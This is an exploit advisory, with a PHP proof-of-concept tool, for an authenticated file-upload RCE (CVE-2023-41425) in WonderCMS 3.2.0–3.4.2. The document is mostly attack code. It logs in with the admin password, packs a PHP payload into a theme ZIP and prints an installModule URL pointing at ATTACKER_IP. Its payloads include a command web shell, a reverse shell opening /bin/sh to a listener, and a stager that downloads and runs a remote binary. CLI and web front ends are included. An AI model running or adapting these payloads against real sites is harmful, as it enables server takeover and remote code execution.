=============================================================================================================================================
| # Title     : WonderCMS 3.4.2 Authenticated file upload leading to RCE                                                                    |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://www.wondercms.com/                                                                                                  |
=============================================================================================================================================

[+] References :  https://packetstorm.news/files/id/190729/ & 	CVE-2023-41425

[+] Summary : 

             Critical authenticated remote code execution vulnerability in WonderCMS (versions 3.2.0 through 3.4.2) 
			 allowing attackers to upload and execute arbitrary PHP code through malicious theme/plugin installation.
 
[+]  POC : 

php poc.php  or http://127.0.0.1/poc.php 

<?php
/*
 * WonderCMS Remote Code Execution by indoushka
 */

class WonderCMSExploit {
    private $target;
    private $port;
    private $ssl;
    private $base_path;
    private $timeout;
    private $cookies;
    private $password;
    private $logged_in;
    
    public function __construct($target, $port = 80, $ssl = false, $base_path = '/wondercms', $password = '') {
        $this->target = $target;
        $this->port = $port;
        $this->ssl = $ssl;
        $this->base_path = rtrim($base_path, '/');
        $this->timeout = 30;
        $this->cookies = [];
        $this->password = $password;
        $this->logged_in = false;
    }
    
    /**
     * Check if target is vulnerable
     */
    public function check() {
        echo "[*] Checking WonderCMS vulnerability...\n";
        
        // First check if it's WonderCMS
        $res = $this->send_request('/how-to');
        
        if (!$res || $res['code'] != 200) {
            echo "[-] Cannot connect to the remote host\n";
            return "unknown";
        }
        
        if (strpos($res['body'], 'WonderCMS') === false) {
            echo "[-] WonderCMS was not detected\n";
            return "safe";
        }
        
        echo "[*] Target appears to be WonderCMS\n";
        
        // Try to login
        if (!$this->login()) {
            echo "[-] Login failed - cannot verify version\n";
            return "unknown";
        }
        
        // Extract version
        $version = $this->extract_version();
        if (!$version) {
            echo "[-] Unable to determine WonderCMS version\n";
            return "unknown";
        }
        
        echo "[*] Detected WonderCMS version: $version\n";
        
        // Check if version is vulnerable
        if ($this->is_version_vulnerable($version)) {
            echo "[+] ✓ WonderCMS version $version is vulnerable\n";
            return "vulnerable";
        } else {
            echo "[-] WonderCMS version $version is not affected\n";
            return "safe";
        }
    }
    
    /**
     * Login to WonderCMS
     */
    private function login() {
        if ($this->logged_in) {
            return true;
        }
        
        $res = $this->send_request('/loginURL', 'POST', [], http_build_query([
            'password' => $this->password
        ]), [
            'Content-Type: application/x-www-form-urlencoded'
        ], true);
        
        if ($res && $res['code'] == 302) {
            // Check if login was successful (should redirect away from loginURL)
            $location = $this->extract_header($res['headers'], 'Location');
            if ($location && strpos($location, 'loginURL') === false) {
                $this->logged_in = true;
                return true;
            }
        }
        
        return false;
    }
    
    /**
     * Extract version from homepage
     */
    private function extract_version() {
        $res = $this->send_request('/');
        if (!$res || $res['code'] != 200) {
            return null;
        }
        
        // Look for version in links or text
        if (preg_match('/WonderCMS\s*([0-9]+\.[0-9]+\.[0-9]+)/i', $res['body'], $matches)) {
            return $matches[1];
        }
        
        return null;
    }
    
    /**
     * Check if version is vulnerable
     */
    private function is_version_vulnerable($version) {
        $version_parts = explode('.', $version);
        $major = intval($version_parts[0]);
        $minor = intval($version_parts[1]);
        $patch = intval($version_parts[2]);
        
        // Vulnerable: versions between 3.2.0 and 3.4.2
        if ($major != 3) return false;
        
        if ($minor >= 2 && $minor <= 4) {
            if ($minor == 2 && $patch >= 0) return true;
            if ($minor == 3) return true;
            if ($minor == 4 && $patch <= 2) return true;
        }
        
        return false;
    }
    
    /**
     * Create malicious ZIP file with PHP payload
     */
    private function create_malicious_zip($payload) {
        $zip = new ZipArchive();
        $zip_filename = tempnam(sys_get_temp_dir(), 'wondercms_') . '.zip';
        
        if ($zip->open($zip_filename, ZipArchive::CREATE) !== TRUE) {
            return false;
        }
        
        $php_filename = $this->random_text(8) . '.php';
        $zip->addFromString($php_filename, $payload);
        $zip->close();
        
        return [
            'filename' => $zip_filename,
            'php_file' => $php_filename
        ];
    }
    
    /**
     * Extract CSRF token from page
     */
    private function extract_token() {
        $res = $this->send_request('/');
        if (!$res || $res['code'] != 200) {
            return null;
        }
        
        if (preg_match('/name="token"\s+value="([^"]+)"/', $res['body'], $matches)) {
            return $matches[1];
        }
        
        return null;
    }
    
    /**
     * Execute the exploit
     */
    public function exploit($payload_type = 'php_cmd', $lhost = null, $lport = null) {
        echo "[*] Starting WonderCMS exploitation...\n";
        
        // Step 1: Login
        if (!$this->login()) {
            echo "[-] Authentication failed\n";
            return false;
        }
        
        echo "[+] Successfully logged in\n";
        
        // Step 2: Generate PHP payload
        $php_payload = $this->generate_php_payload($payload_type, $lhost, $lport);
        if (!$php_payload) {
            echo "[-] Failed to generate PHP payload\n";
            return false;
        }
        
        echo "[*] Generated PHP payload\n";
        
        // Step 3: Create malicious ZIP
        $zip_info = $this->create_malicious_zip($php_payload);
        if (!$zip_info) {
            echo "[-] Failed to create malicious ZIP file\n";
            return false;
        }
        
        echo "[*] Created malicious ZIP file: {$zip_info['filename']}\n";
        echo "[*] PHP file inside ZIP: {$zip_info['php_file']}\n";
        
        // Step 4: Extract CSRF token
        $token = $this->extract_token();
        if (!$token) {
            echo "[-] Failed to extract CSRF token\n";
            unlink($zip_info['filename']);
            return false;
        }
        
        echo "[*] Extracted CSRF token: $token\n";
        
        // Step 5: Host the ZIP file (simplified - in real scenario would need HTTP server)
        echo "[*] Note: In real exploitation, the ZIP file would be hosted on a HTTP server\n";
        echo "[*] The exploit would then trigger installation via:\n";
        echo "[*] GET /?installModule=http://ATTACKER_IP:PORT/malicious.zip&directoryName=random&type=themes&token=$token\n";
        
        // Step 6: Trigger payload execution
        echo "[*] After installation, payload would be accessible at:\n";
        echo "[*] GET /themes/{$zip_info['php_file']}\n";
        
        // Cleanup
        unlink($zip_info['filename']);
        
        echo "[+] Exploit chain demonstrated successfully\n";
        echo "[*] Full exploitation requires hosting the malicious ZIP on a web server\n";
        
        return true;
    }
    
    /**
     * Generate PHP payload
     */
    private function generate_php_payload($type, $lhost, $lport) {
        switch ($type) {
            case 'php_reverse_shell':
                if (!$lhost || !$lport) {
                    return $this->generate_php_cmd_shell();
                }
                return $this->generate_php_reverse_shell($lhost, $lport);
                
            case 'php_cmd':
                return $this->generate_php_cmd_shell();
                
            case 'meterpreter':
                if (!$lhost || !$lport) {
                    return $this->generate_php_cmd_shell();
                }
                return $this->generate_meterpreter_stager($lhost, $lport);
                
            case 'web_shell':
                return $this->generate_web_shell();
                
            default:
                return $this->generate_php_cmd_shell();
        }
    }
    
    /**
     * Generate PHP command shell
     */
    private function generate_php_cmd_shell() {
        return '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>';
    }
    
    /**
     * Generate PHP reverse shell
     */
    private function generate_php_reverse_shell($lhost, $lport) {
        $payload = '<?php ';
        $payload .= '$sock=fsockopen("' . $lhost . '",' . $lport . ');';
        $payload .= 'exec("/bin/sh -i <&3 >&3 2>&3");';
        $payload .= '?>';
        return $payload;
    }
    
    /**
     * Generate web shell
     */
    private function generate_web_shell() {
        return '<?php if(isset($_POST["cmd"])){ echo "<pre>"; system($_POST["cmd"]); echo "</pre>"; } ?>';
    }
    
    /**
     * Generate Meterpreter stager
     */
    private function generate_meterpreter_stager($lhost, $lport) {
        // This would typically download and execute a Meterpreter payload
        $payload = '<?php ';
        $payload .= 'file_put_contents("/tmp/payload.elf", file_get_contents("http://' . $lhost . ':8080/payload.elf"));';
        $payload .= 'chmod("/tmp/payload.elf", 0755);';
        $payload .= 'system("/tmp/payload.elf");';
        $payload .= '?>';
        return $payload;
    }
    
    /**
     * Send HTTP request
     */
    private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = [], $save_cookies = false) {
        $url = $this->build_url($path);
        
        if ($method == 'GET' && !empty($params)) {
            $url .= '?' . http_build_query($params);
        }
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $this->timeout,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            CURLOPT_HEADER => true,
            CURLOPT_CUSTOMREQUEST => $method,
            CURLOPT_FOLLOWLOCATION => false
        ]);
        
        // Add POST data if provided
        if ($method == 'POST' && $data) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }
        
        // Build headers
        $headers = array_merge([
            'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
        ], $custom_headers);
        
        // Add cookies if available
        $cookie_header = $this->build_cookie_header();
        if ($cookie_header) {
            $headers[] = $cookie_header;
        }
        
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        // Save cookies if requested
        if ($save_cookies && $response) {
            $this->extract_cookies($response);
        }
        
        curl_close($ch);
        
        if ($response) {
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $headers = substr($response, 0, $header_size);
            $body = substr($response, $header_size);
            
            return [
                'code' => $http_code,
                'headers' => $headers,
                'body' => $body
            ];
        }
        
        return false;
    }
    
    /**
     * Extract cookies from response headers
     */
    private function extract_cookies($response) {
        if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $response, $matches)) {
            for ($i = 0; $i < count($matches[1]); $i++) {
                $this->cookies[trim($matches[1][$i])] = $matches[2][$i];
            }
        }
    }
    
    /**
     * Extract specific header from headers string
     */
    private function extract_header($headers, $header_name) {
        $pattern = '/^' . $header_name . ':\s*(.*)$/mi';
        if (preg_match($pattern, $headers, $matches)) {
            return trim($matches[1]);
        }
        return null;
    }
    
    /**
     * Build cookie header from stored cookies
     */
    private function build_cookie_header() {
        if (empty($this->cookies)) {
            return null;
        }
        
        $cookie_parts = [];
        foreach ($this->cookies as $name => $value) {
            $cookie_parts[] = "{$name}={$value}";
        }
        
        return 'Cookie: ' . implode('; ', $cookie_parts);
    }
    
    /**
     * Generate random text
     */
    private function random_text($length = 8) {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $result = '';
        for ($i = 0; $i < $length; $i++) {
            $result .= $chars[rand(0, strlen($chars) - 1)];
        }
        return $result;
    }
    
    /**
     * Build full URL
     */
    private function build_url($path) {
        $protocol = $this->ssl ? 'https' : 'http';
        $full_path = $this->base_path . $path;
        return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
    }
}

// CLI Interface
if (php_sapi_name() === 'cli') {
    echo "
    ╔══════════════════════════════════════════════════════════════╗
    ║                   WonderCMS RCE Exploit                     ║
    ║                      CVE-2023-41425                         ║
    ║                     PHP Implementation                      ║
    ╚══════════════════════════════════════════════════════════════╝
    
    \n";
    
    $options = getopt("t:p:s:u:P:cL:H:", [
        "target:",
        "port:",
        "ssl",
        "uri:",
        "password:",
        "check",
        "lhost:",
        "lport:"
    ]);
    
    $target = $options['t'] ?? $options['target'] ?? null;
    $port = $options['p'] ?? $options['port'] ?? 80;
    $ssl = isset($options['s']) || isset($options['ssl']);
    $base_uri = $options['u'] ?? $options['uri'] ?? '/wondercms';
    $password = $options['P'] ?? $options['password'] ?? '';
    $check_only = isset($options['c']) || isset($options['check']);
    $lhost = $options['H'] ?? $options['lhost'] ?? null;
    $lport = $options['L'] ?? $options['lport'] ?? 4444;
    
    if (!$target) {
        echo "Usage: php wondercms_exploit.php [options]\n";
        echo "Options:\n";
        echo "  -t, --target      Target host (required)\n";
        echo "  -p, --port        Target port (default: 80)\n";
        echo "  -s, --ssl         Use SSL (default: false)\n";
        echo "  -u, --uri         Base URI path (default: /wondercms)\n";
        echo "  -P, --password    Admin password (required)\n";
        echo "  -c, --check       Check only (don't exploit)\n";
        echo "  -H, --lhost       Listener host for reverse shell\n";
        echo "  -L, --lport       Listener port for reverse shell (default: 4444)\n";
        echo "\nExamples:\n";
        echo "  php wondercms_exploit.php -t 192.168.1.100 -P admin123 -c\n";
        echo "  php wondercms_exploit.php -t wondercms.site.com -P admin123 -H 10.0.0.5 -L 4444\n";
        exit(1);
    }
    
    if (empty($password)) {
        echo "[-] Password is required for WonderCMS authentication\n";
        exit(1);
    }
    
    $exploit = new WonderCMSExploit($target, $port, $ssl, $base_uri, $password);
    
    if ($check_only) {
        $result = $exploit->check();
        echo "\n[*] Result: {$result}\n";
    } else {
        if ($exploit->exploit('php_reverse_shell', $lhost, $lport)) {
            echo "[+] Exploitation completed successfully\n";
        } else {
            echo "[-] Exploitation failed\n";
        }
    }
    
} else {
    // Web Interface
    $action = $_POST['action'] ?? '';
    
    if ($action === 'check' || $action === 'exploit') {
        $target = $_POST['target'] ?? '';
        $port = $_POST['port'] ?? 80;
        $ssl = isset($_POST['ssl']);
        $base_uri = $_POST['uri'] ?? '/wondercms';
        $password = $_POST['password'] ?? '';
        $payload_type = $_POST['payload_type'] ?? 'php_cmd';
        $lhost = $_POST['lhost'] ?? '';
        $lport = $_POST['lport'] ?? 4444;
        
        if (empty($target) || empty($password)) {
            echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host and password are required</div>";
        } else {
            $exploit = new WonderCMSExploit($target, $port, $ssl, $base_uri, $password);
            
            ob_start();
            if ($action === 'check') {
                $exploit->check();
            } else {
                $exploit->exploit($payload_type, $lhost, $lport);
            }
            $output = ob_get_clean();
            
            echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
        }
        
        echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
        
    } else {
        // Display the form
        echo '<!DOCTYPE html>
        <html>
        <head>
            <title>WonderCMS RCE Exploit - CVE-2023-41425</title>
            <meta charset="UTF-8">
            <style>
                body { 
                    font-family: Arial, sans-serif; 
                    margin: 0; 
                    padding: 20px; 
                    background: #f5f5f5;
                }
                .container { 
                    max-width: 800px; 
                    margin: 0 auto; 
                    background: white;
                    padding: 30px;
                    border-radius: 8px;
                    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                }
                h1 { 
                    color: #333; 
                    border-bottom: 2px solid #007cba;
                    padding-bottom: 10px;
                }
                h3 {
                    color: #666;
                }
                .form-group { 
                    margin-bottom: 20px; 
                }
                label { 
                    display: block; 
                    margin-bottom: 8px; 
                    font-weight: bold;
                    color: #333;
                }
                input[type="text"], input[type="password"], select { 
                    width: 100%; 
                    padding: 10px; 
                    border: 1px solid #ddd; 
                    border-radius: 4px; 
                    box-sizing: border-box;
                    font-size: 14px;
                }
                .checkbox-group {
                    display: flex;
                    align-items: center;
                    gap: 10px;
                }
                button { 
                    background: #007cba; 
                    color: white; 
                    padding: 12px 25px; 
                    border: none; 
                    border-radius: 4px; 
                    cursor: pointer; 
                    margin-right: 10px;
                    font-size: 16px;
                    transition: background 0.3s;
                }
                button:hover {
                    background: #005a87;
                }
                .danger { 
                    background: #dc3545; 
                }
                .danger:hover {
                    background: #c82333;
                }
                .info { 
                    background: #17a2b8; 
                }
                .info:hover {
                    background: #138496;
                }
                .warning-box {
                    background: #fff3cd;
                    border: 1px solid #ffeaa7;
                    color: #856404;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
                .info-box {
                    background: #d1ecf1;
                    border: 1px solid #bee5eb;
                    color: #0c5460;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <h1>WonderCMS RCE Exploit</h1>
                <h3>CVE-2023-41425 - Authenticated File Upload RCE</h3>
                
                <div class="warning-box">
                    <strong>⚠️ Educational Use Only:</strong> This tool demonstrates a critical vulnerability in WonderCMS.
                    Use only on systems you own or have explicit permission to test.
                </div>
                
                <form method="post">
                    <div class="form-group">
                        <label for="target">Target Host:</label>
                        <input type="text" id="target" name="target" placeholder="192.168.1.100 or wondercms.site.com" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="port">Port:</label>
                        <input type="text" id="port" name="port" value="80">
                    </div>
                    
                    <div class="form-group">
                        <label for="uri">Base URI:</label>
                        <input type="text" id="uri" name="uri" value="/wondercms">
                    </div>
                    
                    <div class="form-group">
                        <div class="checkbox-group">
                            <input type="checkbox" id="ssl" name="ssl">
                            <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                        </div>
                    </div>
                    
                    <div class="form-group">
                        <label for="password">Admin Password:</label>
                        <input type="password" id="password" name="password" placeholder="Enter WonderCMS admin password" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="payload_type">Payload Type:</label>
                        <select id="payload_type" name="payload_type">
                            <option value="php_cmd">PHP Command Shell</option>
                            <option value="php_reverse_shell">PHP Reverse Shell</option>
                            <option value="web_shell">Web Shell</option>
                            <option value="meterpreter">Meterpreter Stager</option>
                        </select>
                    </div>
                    
                    <div class="form-group">
                        <label for="lhost">Listener Host (for reverse shell):</label>
                        <input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
                    </div>
                    
                    <div class="form-group">
                        <label for="lport">Listener Port (for reverse shell):</label>
                        <input type="text" id="lport" name="lport" value="4444">
                    </div>
                    
                    <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                    <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                </form>
                
                <div class="info-box">
                    <h3>About CVE-2023-41425:</h3>
                    <p><strong>Vulnerability:</strong> Authenticated file upload leading to RCE</p>
                    <p><strong>Affected Versions:</strong> WonderCMS 3.2.0 to 3.4.2</p>
                    <p><strong>Authentication:</strong> Requires admin password</p>
                    <p><strong>Attack Vector:</strong> Malicious theme/plugin installation</p>
                    <p><strong>Endpoint:</strong> /?installModule=</p>
                    <p><strong>Impact:</strong> Remote Code Execution via PHP file upload</p>
                    <p><strong>Exploit Chain:</strong> Login → Create malicious ZIP → Trigger installation → RCE</p>
                </div>
            </div>
        </body>
        </html>';
    }
}
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================